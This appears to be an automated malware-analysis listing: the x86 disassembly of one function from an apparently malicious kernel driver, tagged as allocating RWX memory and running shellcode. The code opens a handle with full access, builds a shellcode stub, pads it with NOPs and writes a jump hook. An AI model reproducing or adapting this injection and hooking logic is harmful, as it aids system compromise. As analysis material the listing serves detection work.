Function at 0x174a2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
push esi
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x44]
push eax
xor esi, esi
push 0x1f0fff
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x44], 0x18
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x38], 0x200
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x10], esi
call fcn.00011510
call eax
test eax, eax
jl 0x17760
push ebx
push edi
push 0x40
mov edi, 0x1000
push edi
lea eax, [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 8], esi
mov esi, dword [sym.imp.pwi8mmrd31hl_ZwAllocateVirtualMemory]
mov ebx, 0x400
mov dword [ebp - 0x14], ebx
call esi
test eax, eax
jl 0x1752b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
mov dword [ecx + 8], eax
and dword [ebp - 0x18], 0
push 4
push edi
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x14], ebx
call esi
test eax, eax
jl 0x17551
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 0xc]
mov dword [ecx + 0xc], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2c]
call fcn.00011b4c
call eax
test eax, eax
jl 0x1775e
push dword [ebp - 0x1c]
call fcn.0001192a
call eax
mov ebx, dword [ebp - 8]
and dword [ebp - 4], 0
test ebx, ebx
je 0x17744
mov edi, dword [ebp - 0x18]
push 0x40
push str.8w8ou6288
push edi
mov dword [ebp - 0xc], edi
call fcn.00019884
push 0x1e5b6
push 4
push 0x1e5ac
call fcn.00016ddc
mov esi, eax
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x175a6
sub eax, esi
dec edi
dec edi
mov cx, word [edi + 2]
inc edi
inc edi
test cx, cx
jne 0x175b4
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x60
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x20], ebx
call fcn.00019836
push 0x68
push eax
call fcn.00019836
push dword [ebp - 0xc]
push eax
call fcn.0001984e
push 0xb8
push eax
call fcn.00019836
push dword [0x78168]
push eax
call fcn.0001984e
push 0xc00b
push eax
call fcn.00019868
push 0x74
push eax
call fcn.00019836
push 2
push eax
call fcn.00019836
push 0xd0ff
push eax
call fcn.00019868
push 0x61
push eax
call fcn.00019836
mov ebx, dword [ebp + 8]
mov edi, eax
mov esi, ebx
push 0
push esi
push edi
call fcn.00019fe8
mov ecx, eax
sub ecx, esi
add dword [ebp - 4], ecx
add edi, ecx
cmp dword [ebp - 4], 5
mov esi, eax
jb 0x17635
mov eax, dword [ebp - 4]
push edi
add eax, ebx
push eax
call fcn.000198ac
mov eax, dword [ebp - 8]
test eax, eax
je 0x17744
add eax, 0x400
lea ecx, [eax - 0x10]
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 4]
lea esi, [eax - 0xc]
push esi
lea edi, [eax - 4]
lea ebx, [eax - 8]
shr ecx, 2
lea ecx, [ecx*4 + 0x14]
push 0x40
sub eax, ecx
push ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [edi], eax
push edi
mov dword [ebx], 5
and dword [esi], 0
push 0xffffffffffffffff
call dword [0x780e4]
test eax, eax
jl 0x1770e
push dword [ebp - 4]
push 0x90
push dword [ebp - 0xc]
call sub.pwi8mmrd31hl_memset
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp + 8]
add esp, 0xc
sub eax, 5
push eax
mov eax, dword [ebp - 0xc]
inc eax
push eax
call fcn.0001984e
push 0xe9
push dword [ebp - 0xc]
call fcn.00019836
mov eax, dword [ebp - 0x24]
and dword [eax], 0
push eax
push dword [ebp - 4]
push dword [ebp - 0xc]
push dword [ebp + 8]
push 0xffffffffffffffff
call dword [0x780d8]
mov eax, dword [ebp + 0xc]
mov byte [eax + 0x10], 1
lea eax, [ebp - 0x20]
push eax
push dword [esi]
push ebx
push edi
push 0xffffffffffffffff
call dword [0x780e4]
mov esi, dword [ebp - 8]
test esi, esi
je 0x17744
lea eax, [esi + 0x400]
lea ecx, [eax - 4]
lea edx, [eax - 8]
add eax, 0xfffffff4
push eax
push 0x20
push edx
mov dword [ecx], esi
push ecx
mov dword [edx], 0x400
and dword [eax], 0
push 0xffffffffffffffff
call dword [0x780e4]
test eax, eax
jge 0x17744
and dword [ebp - 8], 0
call fcn.00011900
call eax
mov ecx, dword [ebp - 0x1c]
call dword [sym.imp.pwi8mmrd31hl_4tkalwqvg4d3b5n3fvot]
push dword [ebp - 0x10]
call fcn.000117da
call eax
pop edi
pop ebx
pop esi
leave
ret 8